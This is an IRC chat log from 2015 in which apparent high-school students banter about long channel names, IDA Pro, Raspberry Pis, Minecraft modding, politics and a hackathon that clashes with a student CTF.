[2015-04-29T22:43:46-0400] <Tamini_> you can thank him by giving us copies
[2015-04-29T22:45:16-0400] <LittleBobbyTables> I'll sell each of you guys copies for 100 bucks.
[2015-04-29T22:45:27-0400] <LittleBobbyTables> It'll be the pro version, so you're getting a great deal.
[2015-04-29T22:45:34-0400] <Tamini_> heh
[2015-04-29T22:45:57-0400] <Tamini_> sdamashek: we can tell ahamilto to get us ida through this entirely legitimate source!
[2015-04-29T22:46:23-0400] <sdamashek> LittleBobbyTables: do you happen to have a front company
[2015-04-29T22:46:38-0400] <LittleBobbyTables> My PayPal says I sell rare Pokemon cards.
[2015-04-29T22:47:02-0400] <LittleBobbyTables> They didn't question it when I got 10 payments of 600 each.
[2015-04-29T23:03:06-0400] <LittleBobbyTables> sdamashek: would you be down
[2015-04-29T23:03:35-0400] <sdamashek> LittleBobbyTables: hey, it's better than paying nothing for it, right? :P
[2015-04-29T23:03:48-0400] <LittleBobbyTables> Of course!
[2015-04-29T23:35:14-0400] <kenzierocks> i am the proud owner of ################################################## on espernet
[2015-04-29T23:35:25-0400] <bob_twinkles> nice
[2015-04-29T23:35:38-0400] <bob_twinkles> any reason, or just so you can have that many #s
[2015-04-29T23:36:19-0400] <kenzierocks> total count
[2015-04-29T23:36:25-0400] <kenzierocks> lemme see pdgns limit
[2015-04-29T23:36:47-0400] <bob_twinkles> ah
[2015-04-29T23:37:52-0400] <kenzierocks> ###########################################################
[2015-04-29T23:37:54-0400] <kenzierocks> ##################################################
[2015-04-29T23:38:02-0400] <kenzierocks> first pdgn, second esper
[2015-04-29T23:38:23-0400] <kenzierocks> ....and it's mine
[2015-04-29T23:38:39-0400] <bob_twinkles> 'grats
[2015-04-29T23:38:44-0400] <bob_twinkles> I wonder how freenode does...
[2015-04-29T23:38:57-0400] <kenzierocks> you wanna test or shall i
[2015-04-29T23:39:12-0400] <bob_twinkles> 44.##################################################│
[2015-04-29T23:39:16-0400] <bob_twinkles> lol there's people in there
[2015-04-29T23:39:20-0400] <kenzierocks> wow
[2015-04-29T23:39:26-0400] <bob_twinkles> err, too much weechat cruft
[2015-04-29T23:39:33-0400] <bob_twinkles> ##################################################
[2015-04-29T23:39:57-0400] <bob_twinkles> huh, I wonder why pdgn is configured to be longer
[2015-04-29T23:40:04-0400] <sdamashek> I own a few # channels
[2015-04-29T23:40:51-0400] <sdamashek> actually no, I DROPped them because I hit my channel limit
[2015-04-29T23:42:11-0400] <bob_twinkles> http://lpaste.net/6191902862851702784
[2015-04-29T23:42:13-0400] <bob_twinkles> ups
[2015-04-29T23:42:37-0400] <LittleBobbyTables> Are you sure I wasn't the one that DROPped them, sdamashek ?
[2015-04-29T23:42:50-0400] <sdamashek> I remember doing it now :P
[2015-04-30T02:07:58-0400] <LittleBobbyTables> ohhey
[2015-04-30T02:08:03-0400] <LittleBobbyTables> VirtualBox started up...
[2015-04-30T06:40:22-0400] <fwilson> LittleBobbyTables: congratulations
[2015-04-30T11:07:24-0400] <JacobEdelman> gmorning all
[2015-04-30T11:07:29-0400] <JacobEdelman> gmorning all
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[2015-04-30T13:33:57-0400] <+awe> Hey, guys. Bernie Sanders is running in the 2016 primary. http://www.politico.com/story/2015/04/bernie-sanders-2016-presidential-run-117433.html
[2015-04-30T13:42:56-0400] <JacobEdelman> cool
[2015-04-30T13:43:08-0400] <JacobEdelman> its nice to have a liberal running for 2nd place in the democratic primaries
[2015-04-30T13:43:19-0400] <JacobEdelman> it seems that so few seem interested in the 2nd place spot
[2015-04-30T13:43:36-0400] <JacobEdelman> cause Hilary is already took 1st
[2015-04-30T13:43:46-0400] • JacobEdelman: just jinxed it, methinks
[2015-04-30T13:45:56-0400] <+awe> I'd hardly call Hilary a done and set deal, and if Americans don't want to live in a corporatist war machine, they hopefully won't vote for her.
[2015-04-30T14:19:46-0400] <kenzierocks> #democracy
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[2015-04-29T22:42:28-0400] <sdamashek> you can thank me when you have a full subscription of IDA pro with HexRays
[2015-04-29T22:43:46-0400] <Tamini_> you can thank him by giving us copies
[2015-04-29T22:45:16-0400] <LittleBobbyTables> I'll sell each of you guys copies for 100 bucks.
[2015-04-29T22:45:27-0400] <LittleBobbyTables> It'll be the pro version, so you're getting a great deal.
[2015-04-29T22:45:34-0400] <Tamini_> heh
[2015-04-29T22:45:57-0400] <Tamini_> sdamashek: we can tell ahamilto to get us ida through this entirely legitimate source!
[2015-04-29T22:46:23-0400] <sdamashek> LittleBobbyTables: do you happen to have a front company
[2015-04-29T22:46:38-0400] <LittleBobbyTables> My PayPal says I sell rare Pokemon cards.
[2015-04-29T22:47:02-0400] <LittleBobbyTables> They didn't question it when I got 10 payments of 600 each.
[2015-04-29T23:03:06-0400] <LittleBobbyTables> sdamashek: would you be down
[2015-04-29T23:03:35-0400] <sdamashek> LittleBobbyTables: hey, it's better than paying nothing for it, right? :P
[2015-04-29T23:03:48-0400] <LittleBobbyTables> Of course!
[2015-04-29T23:35:14-0400] <kenzierocks> i am the proud owner of ################################################## on espernet
[2015-04-29T23:35:25-0400] <bob_twinkles> nice
[2015-04-29T23:35:38-0400] <bob_twinkles> any reason, or just so you can have that many #s
[2015-04-29T23:36:19-0400] <kenzierocks> total count
[2015-04-29T23:36:25-0400] <kenzierocks> lemme see pdgns limit
[2015-04-29T23:36:47-0400] <bob_twinkles> ah
[2015-04-29T23:37:52-0400] <kenzierocks> ###########################################################
[2015-04-29T23:37:54-0400] <kenzierocks> ##################################################
[2015-04-29T23:38:02-0400] <kenzierocks> first pdgn, second esper
[2015-04-29T23:38:23-0400] <kenzierocks> ....and it's mine
[2015-04-29T23:38:39-0400] <bob_twinkles> 'grats
[2015-04-29T23:38:44-0400] <bob_twinkles> I wonder how freenode does...
[2015-04-29T23:38:57-0400] <kenzierocks> you wanna test or shall i
[2015-04-29T23:39:12-0400] <bob_twinkles> 44.##################################################│
[2015-04-29T23:39:16-0400] <bob_twinkles> lol there's people in there
[2015-04-29T23:39:20-0400] <kenzierocks> wow
[2015-04-29T23:39:26-0400] <bob_twinkles> err, too much weechat cruft
[2015-04-29T23:39:33-0400] <bob_twinkles> ##################################################
[2015-04-29T23:39:57-0400] <bob_twinkles> huh, I wonder why pdgn is configured to be longer
[2015-04-29T23:40:04-0400] <sdamashek> I own a few # channels
[2015-04-29T23:40:51-0400] <sdamashek> actually no, I DROPped them because I hit my channel limit
[2015-04-29T23:42:11-0400] <bob_twinkles> http://lpaste.net/6191902862851702784
[2015-04-29T23:42:13-0400] <bob_twinkles> ups
[2015-04-29T23:42:37-0400] <LittleBobbyTables> Are you sure I wasn't the one that DROPped them, sdamashek ?
[2015-04-29T23:42:50-0400] <sdamashek> I remember doing it now :P
[2015-04-30T02:07:58-0400] <LittleBobbyTables> ohhey
[2015-04-30T02:08:03-0400] <LittleBobbyTables> VirtualBox started up...
[2015-04-30T06:40:22-0400] <fwilson> LittleBobbyTables: congratulations
[2015-04-30T11:07:24-0400] <JacobEdelman> gmorning all
[2015-04-30T11:07:29-0400] <JacobEdelman> gmorning all
[2015-04-30T13:33:57-0400] <+awe> Hey, guys. Bernie Sanders is running in the 2016 primary. http://www.politico.com/story/2015/04/bernie-sanders-2016-presidential-run-117433.html
[2015-04-30T13:42:56-0400] <JacobEdelman> cool
[2015-04-30T13:43:08-0400] <JacobEdelman> its nice to have a liberal running for 2nd place in the democratic primaries
[2015-04-30T13:43:19-0400] <JacobEdelman> it seems that so few seem interested in the 2nd place spot
[2015-04-30T13:43:36-0400] <JacobEdelman> cause Hilary is already took 1st
[2015-04-30T13:43:46-0400] • JacobEdelman: just jinxed it, methinks
[2015-04-30T13:45:56-0400] <+awe> I'd hardly call Hilary a done and set deal, and if Americans don't want to live in a corporatist war machine, they hopefully won't vote for her.
[2015-04-30T14:19:46-0400] <kenzierocks> #democracy
[2015-04-30T14:39:40-0400] Mode is +nrt
[2015-04-30T14:59:41-0400] <fwilson> #memeocracy
[2015-04-30T15:02:42-0400] <+awe> fwilson: #dankocracy
[2015-04-30T15:03:06-0400] <fwilson> #yourmomocracy
[2015-04-30T15:08:26-0400] <fwilson> #huebrocracy
[2015-04-30T15:09:48-0400] <+awe> Between 2013 and 2014, Bill Gate's personal gross product was $1.5 billion dollars greater than Iceland's GDP.
[2015-04-30T15:10:49-0400] <fwilson> >Bill Gate's
[2015-04-30T15:14:44-0400] <JacobEdelman> And the Walmart family has enough money to fund all cancer research for over a decade
[2015-04-30T15:15:43-0400] <+awe> Gates'*
[2015-04-30T15:15:44-0400] <+awe> My bad.
[2015-04-30T15:21:10-0400] <JacobEdelman> has anyone else noticed that when something's main features are described as it being "light weight" or "minimalistic" that almost always means that its some small, not really impressive, product?
[2015-04-30T15:22:42-0400] <JacobEdelman> (thats not to say that a project can't be both lightweight and impressive, it just means that it will be well featured or incorporate a unique idea)
[2015-04-30T15:24:13-0400] <fwilson> JacobEdelman: not necessarily
[2015-04-30T15:24:17-0400] <fwilson> but yeah
[2015-04-30T15:24:22-0400] <fwilson> i know what you mean
[2015-04-30T15:26:03-0400] <+awe> JacobEdelman: things don't need to be complicated to be good?
[2015-04-30T15:26:10-0400] <JacobEdelman> true
[2015-04-30T15:26:15-0400] <fwilson> they don't, but often they tend to be
[2015-04-30T15:26:17-0400] <JacobEdelman> give me a sec
[2015-04-30T15:27:25-0400] <JacobEdelman> its just that
[2015-04-30T15:27:35-0400] <JacobEdelman> I'm not saying complicated
[2015-04-30T15:28:11-0400] <JacobEdelman> example: many toy programming languages advertise as minimalisitc or light weight
[2015-04-30T15:28:23-0400] <JacobEdelman> the cool ones are ones that actually add some feature
[2015-04-30T15:28:40-0400] <JacobEdelman> or simplifiy a previously complicated interface
[2015-04-30T15:29:00-0400] <JacobEdelman> *function/use instead of interface
[2015-04-30T15:30:03-0400] <fwilson> i advertise toy programming languages as toy programming languages
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[2015-04-30T15:58:24-0400] <sdamashek> what about nginx
[2015-04-30T15:58:43-0400] <sdamashek> nginx is lightweight but it's very useful
[2015-04-30T16:23:26-0400] <z3t> aw yis, Pacquiao vs Mayweather in 2 days 
[2015-04-30T16:23:38-0400] <z3t> not that anyone here cares though ;(
[2015-04-30T16:23:58-0400] <+awe> Anyone want to donate to the buy-Aaron-a-raspi-for-no-reason-fund?
[2015-04-30T16:27:30-0400] <z3t> use the ~$10 I donated to pdgn
[2015-04-30T16:28:04-0400] <Tamini_> wait
[2015-04-30T16:28:15-0400] <Tamini_> awe: I'm pretty sure 1064cbread is getting some
[2015-04-30T16:28:29-0400] <+awe> z3t: Wasn't it like $6?
[2015-04-30T16:28:56-0400] <z3t> nope was exactly $10 at the time
[2015-04-30T16:29:08-0400] <z3t> and is now $9.60
[2015-04-30T16:29:18-0400] <+awe> Yeah.
[2015-04-30T16:29:19-0400] <+awe> You're right.
[2015-04-30T16:29:31-0400] <+awe> That's in the PdgnCo donations vault though.
[2015-04-30T16:29:48-0400] <z3t> Not like it'll ever be used for anything else though -_-
[2015-04-30T16:29:49-0400] <+awe> I have $1.37 in my personal account.
[2015-04-30T16:29:54-0400] <+awe> z3t: why not?
[2015-04-30T16:30:12-0400] <z3t> well what are you planning on using it for, pdgn related
[2015-04-30T16:30:21-0400] <z3t> (any donations for that matter)
[2015-04-30T16:30:34-0400] <+awe> The servers don't pay for themselves?
[2015-04-30T16:31:10-0400] <z3t> Sometimes they do 
[2015-04-30T16:31:15-0400] <+awe> These don't.
[2015-04-30T16:31:24-0400] <z3t> you have bad servers then ;(
[2015-04-30T16:31:31-0400] <+awe> Pdgn donations are for exactly what they sound like: paying for the servers.
[2015-04-30T16:32:14-0400] <z3t> I bought a raspi like a year ago and have barely used it ;(
[2015-04-30T16:32:14-0400] <+awe> If you want to donate to me personally, my personal bitcoin address is 1GwWFMfnZf2LwEgQAUHBiGV2PdCLyQPYA6.
[2015-04-30T16:33:00-0400] <+awe> Yeah, I don't have any particular plans for it, really. It just seems like it might be a fun portable machine to program on.
[2015-04-30T16:33:15-0400] <+awe> Or maybe I could do something with my long-range directional router that I have.
[2015-04-30T16:34:16-0400] <z3t> .04162 BTC ($10) sent
[2015-04-30T16:34:34-0400] <+awe> Lol.
[2015-04-30T16:34:35-0400] <z3t> probably still pending though
[2015-04-30T16:34:45-0400] <+awe> Yeah, I got the email though.
[2015-04-30T16:34:46-0400] <+awe> Thanks.
[2015-04-30T16:34:52-0400] <z3t> mhm
[2015-04-30T16:48:05-0400] <jwoglom> Yay bitcoin
[2015-04-30T16:49:02-0400] <nezorg> get a bbb, not a raspi!
[2015-04-30T16:52:03-0400] <+awe> nezorg: Yeah, that'd also work.
[2015-04-30T16:52:10-0400] <+awe> nezorg: there aren't piles of sweet cases for bbb though.
[2015-04-30T16:52:53-0400] <nezorg> i have a sweet case for one of mine
[2015-04-30T16:53:32-0400] <nezorg> i like bbbs because they have tons of io and are faster cpu-wise
[2015-04-30T16:53:52-0400] <nezorg> and, uh, my dad works for TI, so we have plenty because of that :P
[2015-04-30T16:54:17-0400] <+awe> Yeah, they're a lot faster.
[2015-04-30T17:09:38-0400] <+awe> nezorg: want to just send me one?
[2015-04-30T17:10:37-0400] <nezorg> we don't have *that* many
[2015-04-30T17:12:36-0400] <JacobEdelman> z3t: I also bought a rpi a while back
[2015-04-30T17:12:40-0400] <JacobEdelman> and have never really used i
[2015-04-30T17:12:41-0400] <JacobEdelman> *it
[2015-04-30T17:12:46-0400] <+awe> nezorg: so? ;)
[2015-04-30T17:13:20-0400] <JacobEdelman> but my younger brother is setting it up to play minecraft now for my younger sister
[2015-04-30T17:13:25-0400] <JacobEdelman> so hopefully it will have some use
[2015-04-30T17:14:56-0400] <jwoglom> i have a raspi 2 which is pretty cool
[2015-04-30T17:15:01-0400] <jwoglom> i just need to, well, find uses for it..
[2015-04-30T17:15:21-0400] <jwoglom> my original pi (with 256mb ram, model b) still (barely) works
[2015-04-30T17:38:50-0400] <z3t> I don't think it can run minecraft that well JacobEdelman 
[2015-04-30T17:39:38-0400] <+awe> z3t: I don't think many machines can.
[2015-04-30T17:39:47-0400] <JacobEdelman> one link
[2015-04-30T17:39:50-0400] <JacobEdelman> pi.minecraft.net
[2015-04-30T17:40:03-0400] <JacobEdelman> awe: its improved 
[2015-04-30T17:40:39-0400] <+awe> Doubtful.
[2015-04-30T17:42:57-0400] <JacobEdelman> I didn't say it worked well
[2015-04-30T17:43:02-0400] <JacobEdelman> just that it improved
[2015-04-30T17:43:07-0400] <JacobEdelman> when I last played a few months ago
[2015-04-30T17:43:11-0400] <JacobEdelman> it had gotten better
[2015-04-30T17:43:14-0400] <JacobEdelman> cause they rewrote stuff
[2015-04-30T17:45:13-0400] <bob_twinkles> I think 1.9 is finally going to remove the last of the fixed function stuff which is pretty exciting
[2015-04-30T17:45:41-0400] <bob_twinkles> FF has been the slow path since ~1998 and officially depreciated since... 2006 or 2008, I forget exactly
[2015-04-30T17:46:03-0400] <bob_twinkles> the only reason it wasn't depreciated earlier is because OpenGL didn't have a depreciation mechanism before that =P
[2015-04-30T17:46:57-0400] <bob_twinkles> though any gains they get from that are likely to be outweighed by the GC overhead of immutable BlockPos's instead of just passing 3 ints...
[2015-04-30T17:58:00-0400] <z3t> jwoglom: you hearin' tihs thunder tho
[2015-04-30T17:58:12-0400] <z3t> this *
[2015-04-30T17:58:22-0400] <jwoglom> z3t: yeah
[2015-04-30T17:58:24-0400] <jwoglom> pretty intense
[2015-04-30T17:58:31-0400] <jwoglom> a couple of minutes ago there was a really big boom
[2015-04-30T17:58:31-0400] <z3t> not raining at all here though
[2015-04-30T17:58:44-0400] <jwoglom> it's raining a little bit here
[2015-04-30T17:59:18-0400] <jwoglom> aaand here comes the rain..
[2015-04-30T17:59:23-0400] <z3t> lol
[2015-04-30T18:16:24-0400] <Tamini_> jwoglom: i was at five guys when it started raining
[2015-04-30T18:16:27-0400] <Tamini_> very unfun
[2015-04-30T18:16:44-0400] <jwoglom> Ouch
[2015-04-30T18:16:52-0400] <jwoglom> Unfun indeed
[2015-04-30T18:17:02-0400] <bob_twinkles> ah, now I remember why I stopped working on MC mods
[2015-04-30T18:17:13-0400] <bob_twinkles> the tooling is... interesting
[2015-04-30T18:17:30-0400] <bob_twinkles> and by interesting I mean "goddamnit CPW why did you have to quit now there's a billion things that need renaming"
[2015-04-30T18:17:51-0400] <Tamini_> heh
[2015-04-30T18:18:07-0400] <jwoglom> What you still at TJ for?
[2015-04-30T18:18:13-0400] <Tamini_> math team practice
[2015-04-30T18:18:15-0400] <Tamini_> what else?
[2015-04-30T18:18:23-0400] <Tamini_> i sorta considered skipping for fiddler but meh
[2015-04-30T18:19:12-0400] <jwoglom> Heh, makes sense
[2015-04-30T18:19:18-0400] <jwoglom> I'm going to see fiddler tomorroe
[2015-04-30T18:20:30-0400] <Tamini_> it's supposed to be the cappies show, right
[2015-04-30T18:20:32-0400] <Tamini_> i might go idk
[2015-04-30T18:20:40-0400] <Tamini_> depends on who else goes
[2015-04-30T18:21:16-0400] <fwilson> wait, z3t, you're in northern virginia?
[2015-04-30T18:22:50-0400] <jwoglom> He's near woodson
[2015-04-30T18:23:03-0400] <jwoglom> So probably like 5 minutes from me lol
[2015-04-30T18:24:41-0400] <jwoglom> Tamini_: I hope it's good, Andrew and pierce were both talking about how they wished there was more practice time/it wasn't completely ready yesterday
[2015-04-30T18:24:59-0400] <Tamini_> mm yeah
[2015-04-30T18:25:06-0400] <Tamini_> people were sketchy on lines apparently
[2015-04-30T18:25:15-0400] <Tamini_> also i wanted to invite kevin hereee
[2015-04-30T18:25:23-0400] <Tamini_> but z3t had to go and be sketchy >__>
[2015-04-30T18:27:46-0400] <jwoglom> kevin who?
[2015-04-30T18:28:55-0400] <z3t> oops
[2015-04-30T18:29:10-0400] <z3t> Kevin Geng, jwoglom 
[2015-04-30T18:29:21-0400] <jwoglom> oh yeah that guy
[2015-04-30T18:29:53-0400] <jwoglom> shouldn't we try to offer an inclusive and friendly environment in here, z3t
[2015-04-30T18:30:12-0400] <z3t> He messaged me first -_-
[2015-04-30T18:30:43-0400] <z3t> I had no idea who he was until he messaged me.
[2015-04-30T18:37:26-0400] <kenzierocks> bob_twinkles: cpw came back
[2015-04-30T18:37:48-0400] <kenzierocks> also there's now a visual studios thing for Modding minecraft
[2015-04-30T18:38:07-0400] <kenzierocks> and visual studios is sort of on Linux and Mac
[2015-04-30T18:39:01-0400] <bob_twinkles> kenzierocks: cpw.* still got renamed to net.minecraftforge though
[2015-04-30T18:39:12-0400] <kenzierocks> oh ya that
[2015-04-30T18:39:16-0400] <bob_twinkles> and that's probably where it should have been in the first place, but... meh, that at least is an easy fix
[2015-04-30T18:40:02-0400] <bob_twinkles> seems a lot of the internal rendering machinery has swapped around though, and given how tightly the mod I'm trying to update was integrated with that stuff is/was it's going to take a fair amount of poking to get it running again...
[2015-04-30T18:41:02-0400] <z3t> I never got into client modding, only Bukkit/Spigot plugin development :(
[2015-04-30T18:41:54-0400] <bob_twinkles> at least that API was reasonably stable >_>
[2015-04-30T18:53:08-0400] <fwilson> ha.
[2015-04-30T18:53:11-0400] <fwilson> bob_twinkles: still is
[2015-04-30T18:53:14-0400] <fwilson> spigot exists and is active
[2015-04-30T18:54:19-0400] <z3t> Bukkit and Spigot got DMCA'd in the early 1.7 releases iirc, I know Bukkit hasn't come back.
[2015-04-30T19:01:03-0400] <bob_twinkles> I think fwilson is right, I vaguely recall seeing Spiggot alive
[2015-04-30T19:01:21-0400] <fwilson> bob_twinkles: i run a spigot server
[2015-04-30T19:01:21-0400] <bob_twinkles> oh, right. cslbot was crashing the Spiggot IRC network somehow
[2015-04-30T19:01:26-0400] <fwilson> currently at 1.8.3 because i'm too lazy to update to .4
[2015-04-30T19:01:37-0400] <bob_twinkles> that's why I was looking at spigot
[2015-04-30T19:02:02-0400] <fwilson> bob_twinkles: the clever way around it was to download the minecraft server separately and decompile it on the person running the server
[2015-04-30T19:02:38-0400] <bob_twinkles> isn't that how the Forge install system works?
[2015-04-30T19:02:49-0400] <bob_twinkles> download the .jars officially and patch in on the user's machine
[2015-04-30T19:03:35-0400] <fwilson> yeah
[2015-04-30T19:03:38-0400] <fwilson> i think so
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[2015-04-30T19:25:29-0400] <LittleBobbyTables> You should totally invite Kevin here
[2015-04-30T20:10:33-0400] <kenzierocks> Sponge
[2015-04-30T20:10:41-0400] <kenzierocks> Sponge is bukkit replacement
[2015-04-30T21:55:31-0400] <z3t> yay my bot works ;D
[2015-04-30T22:38:07-0400] <LittleBobbyTables> Your bot is shit
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[2015-04-30T18:19:18-0400] <jwoglom> I'm going to see fiddler tomorroe
[2015-04-30T18:20:30-0400] <Tamini_> it's supposed to be the cappies show, right
[2015-04-30T18:20:32-0400] <Tamini_> i might go idk
[2015-04-30T18:20:40-0400] <Tamini_> depends on who else goes
[2015-04-30T18:21:16-0400] <fwilson> wait, z3t, you're in northern virginia?
[2015-04-30T18:22:50-0400] <jwoglom> He's near woodson
[2015-04-30T18:23:03-0400] <jwoglom> So probably like 5 minutes from me lol
[2015-04-30T18:24:41-0400] <jwoglom> Tamini_: I hope it's good, Andrew and pierce were both talking about how they wished there was more practice time/it wasn't completely ready yesterday
[2015-04-30T18:24:59-0400] <Tamini_> mm yeah
[2015-04-30T18:25:06-0400] <Tamini_> people were sketchy on lines apparently
[2015-04-30T18:25:15-0400] <Tamini_> also i wanted to invite kevin hereee
[2015-04-30T18:25:23-0400] <Tamini_> but z3t had to go and be sketchy >__>
[2015-04-30T18:27:46-0400] <jwoglom> kevin who?
[2015-04-30T18:28:55-0400] <z3t> oops
[2015-04-30T18:29:10-0400] <z3t> Kevin Geng, jwoglom 
[2015-04-30T18:29:21-0400] <jwoglom> oh yeah that guy
[2015-04-30T18:29:53-0400] <jwoglom> shouldn't we try to offer an inclusive and friendly environment in here, z3t
[2015-04-30T18:30:12-0400] <z3t> He messaged me first -_-
[2015-04-30T18:30:43-0400] <z3t> I had no idea who he was until he messaged me.
[2015-04-30T18:37:26-0400] <kenzierocks> bob_twinkles: cpw came back
[2015-04-30T18:37:48-0400] <kenzierocks> also there's now a visual studios thing for Modding minecraft
[2015-04-30T18:38:07-0400] <kenzierocks> and visual studios is sort of on Linux and Mac
[2015-04-30T18:39:01-0400] <bob_twinkles> kenzierocks: cpw.* still got renamed to net.minecraftforge though
[2015-04-30T18:39:12-0400] <kenzierocks> oh ya that
[2015-04-30T18:39:16-0400] <bob_twinkles> and that's probably where it should have been in the first place, but... meh, that at least is an easy fix
[2015-04-30T18:40:02-0400] <bob_twinkles> seems a lot of the internal rendering machinery has swapped around though, and given how tightly the mod I'm trying to update was integrated with that stuff is/was it's going to take a fair amount of poking to get it running again...
[2015-04-30T18:41:02-0400] <z3t> I never got into client modding, only Bukkit/Spigot plugin development :(
[2015-04-30T18:41:54-0400] <bob_twinkles> at least that API was reasonably stable >_>
[2015-04-30T18:53:08-0400] <fwilson> ha.
[2015-04-30T18:53:11-0400] <fwilson> bob_twinkles: still is
[2015-04-30T18:53:14-0400] <fwilson> spigot exists and is active
[2015-04-30T18:54:19-0400] <z3t> Bukkit and Spigot got DMCA'd in the early 1.7 releases iirc, I know Bukkit hasn't come back.
[2015-04-30T19:01:03-0400] <bob_twinkles> I think fwilson is right, I vaguely recall seeing Spiggot alive
[2015-04-30T19:01:21-0400] <fwilson> bob_twinkles: i run a spigot server
[2015-04-30T19:01:21-0400] <bob_twinkles> oh, right. cslbot was crashing the Spiggot IRC network somehow
[2015-04-30T19:01:26-0400] <fwilson> currently at 1.8.3 because i'm too lazy to update to .4
[2015-04-30T19:01:37-0400] <bob_twinkles> that's why I was looking at spigot
[2015-04-30T19:02:02-0400] <fwilson> bob_twinkles: the clever way around it was to download the minecraft server separately and decompile it on the person running the server
[2015-04-30T19:02:38-0400] <bob_twinkles> isn't that how the Forge install system works?
[2015-04-30T19:02:49-0400] <bob_twinkles> download the .jars officially and patch in on the user's machine
[2015-04-30T19:03:35-0400] <fwilson> yeah
[2015-04-30T19:03:38-0400] <fwilson> i think so
[2015-04-30T19:25:29-0400] <LittleBobbyTables> You should totally invite Kevin here
[2015-04-30T20:10:33-0400] <kenzierocks> Sponge
[2015-04-30T20:10:41-0400] <kenzierocks> Sponge is bukkit replacement
[2015-04-30T21:55:30-0400] <z3t> yay my bot works ;D
[2015-04-30T22:38:07-0400] <LittleBobbyTables> Your bot is shit
[2015-05-01T09:38:46-0400] <JacobEdelman> Gmorning all
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[2015-04-30T18:19:18-0400] <jwoglom> I'm going to see fiddler tomorroe
[2015-04-30T18:20:30-0400] <Tamini_> it's supposed to be the cappies show, right
[2015-04-30T18:20:32-0400] <Tamini_> i might go idk
[2015-04-30T18:20:40-0400] <Tamini_> depends on who else goes
[2015-04-30T18:21:16-0400] <fwilson> wait, z3t, you're in northern virginia?
[2015-04-30T18:22:50-0400] <jwoglom> He's near woodson
[2015-04-30T18:23:03-0400] <jwoglom> So probably like 5 minutes from me lol
[2015-04-30T18:24:41-0400] <jwoglom> Tamini_: I hope it's good, Andrew and pierce were both talking about how they wished there was more practice time/it wasn't completely ready yesterday
[2015-04-30T18:24:59-0400] <Tamini_> mm yeah
[2015-04-30T18:25:06-0400] <Tamini_> people were sketchy on lines apparently
[2015-04-30T18:25:15-0400] <Tamini_> also i wanted to invite kevin hereee
[2015-04-30T18:25:23-0400] <Tamini_> but z3t had to go and be sketchy >__>
[2015-04-30T18:27:46-0400] <jwoglom> kevin who?
[2015-04-30T18:28:55-0400] <z3t> oops
[2015-04-30T18:29:10-0400] <z3t> Kevin Geng, jwoglom 
[2015-04-30T18:29:21-0400] <jwoglom> oh yeah that guy
[2015-04-30T18:29:53-0400] <jwoglom> shouldn't we try to offer an inclusive and friendly environment in here, z3t
[2015-04-30T18:30:12-0400] <z3t> He messaged me first -_-
[2015-04-30T18:30:43-0400] <z3t> I had no idea who he was until he messaged me.
[2015-04-30T18:37:26-0400] <kenzierocks> bob_twinkles: cpw came back
[2015-04-30T18:37:48-0400] <kenzierocks> also there's now a visual studios thing for Modding minecraft
[2015-04-30T18:38:07-0400] <kenzierocks> and visual studios is sort of on Linux and Mac
[2015-04-30T18:39:01-0400] <bob_twinkles> kenzierocks: cpw.* still got renamed to net.minecraftforge though
[2015-04-30T18:39:12-0400] <kenzierocks> oh ya that
[2015-04-30T18:39:16-0400] <bob_twinkles> and that's probably where it should have been in the first place, but... meh, that at least is an easy fix
[2015-04-30T18:40:02-0400] <bob_twinkles> seems a lot of the internal rendering machinery has swapped around though, and given how tightly the mod I'm trying to update was integrated with that stuff is/was it's going to take a fair amount of poking to get it running again...
[2015-04-30T18:41:02-0400] <z3t> I never got into client modding, only Bukkit/Spigot plugin development :(
[2015-04-30T18:41:54-0400] <bob_twinkles> at least that API was reasonably stable >_>
[2015-04-30T18:53:08-0400] <fwilson> ha.
[2015-04-30T18:53:11-0400] <fwilson> bob_twinkles: still is
[2015-04-30T18:53:14-0400] <fwilson> spigot exists and is active
[2015-04-30T18:54:19-0400] <z3t> Bukkit and Spigot got DMCA'd in the early 1.7 releases iirc, I know Bukkit hasn't come back.
[2015-04-30T19:01:03-0400] <bob_twinkles> I think fwilson is right, I vaguely recall seeing Spiggot alive
[2015-04-30T19:01:21-0400] <fwilson> bob_twinkles: i run a spigot server
[2015-04-30T19:01:21-0400] <bob_twinkles> oh, right. cslbot was crashing the Spiggot IRC network somehow
[2015-04-30T19:01:26-0400] <fwilson> currently at 1.8.3 because i'm too lazy to update to .4
[2015-04-30T19:01:37-0400] <bob_twinkles> that's why I was looking at spigot
[2015-04-30T19:02:02-0400] <fwilson> bob_twinkles: the clever way around it was to download the minecraft server separately and decompile it on the person running the server
[2015-04-30T19:02:38-0400] <bob_twinkles> isn't that how the Forge install system works?
[2015-04-30T19:02:49-0400] <bob_twinkles> download the .jars officially and patch in on the user's machine
[2015-04-30T19:03:35-0400] <fwilson> yeah
[2015-04-30T19:03:38-0400] <fwilson> i think so
[2015-04-30T19:25:29-0400] <LittleBobbyTables> You should totally invite Kevin here
[2015-04-30T20:10:33-0400] <kenzierocks> Sponge
[2015-04-30T20:10:41-0400] <kenzierocks> Sponge is bukkit replacement
[2015-04-30T21:55:30-0400] <z3t> yay my bot works ;D
[2015-04-30T22:38:07-0400] <LittleBobbyTables> Your bot is shit
[2015-05-01T09:38:46-0400] <JacobEdelman> Gmorning all
[2015-05-01T09:41:41-0400] <apothy> JacobEdelman: Allison says hi.
[2015-05-01T09:42:25-0400] <JacobEdelman> ?
[2015-05-01T12:57:17-0400] Mode is +nrt
[2015-05-01T13:02:36-0400] <+awe> Good morning world and all who inhabit it
[2015-05-01T15:32:03-0400] <JacobEdelman> Tamini_: jwoglom: sdamashek fwilson  other_TJ_People: really?
[2015-05-01T15:32:07-0400] <JacobEdelman> really?!?!
[2015-05-01T15:32:33-0400] <JacobEdelman> REALLY?
[2015-05-01T15:32:33-0400] <JacobEdelman> https://hacktj.org/
[2015-05-01T15:32:40-0400] <sdamashek> ?
[2015-05-01T15:32:50-0400] <sdamashek> we're not at all involved with hacktj
[2015-05-01T15:33:02-0400] <sdamashek> if you're talking about the cost to attend, we all hate it too
[2015-05-01T15:33:10-0400] <sdamashek> I'm not going :P
[2015-05-01T15:33:37-0400] <JacobEdelman> no
[2015-05-01T15:33:42-0400] <JacobEdelman> I mean, 10$ isn't that bad
[2015-05-01T15:33:50-0400] <JacobEdelman> its the date that annoys me
[2015-05-01T15:33:56-0400] <JacobEdelman> it overlaps with hsctf
[2015-05-01T15:34:08-0400] <JacobEdelman> so people doing both it and hsctf will be tired during the start of hsctf
[2015-05-01T15:34:11-0400] <JacobEdelman> which is annoying
[2015-05-01T15:34:22-0400] <sdamashek> like I said we are not at all involved with it
[2015-05-01T15:34:27-0400] <JacobEdelman> HSCTF is the largest cs competition run by hs students
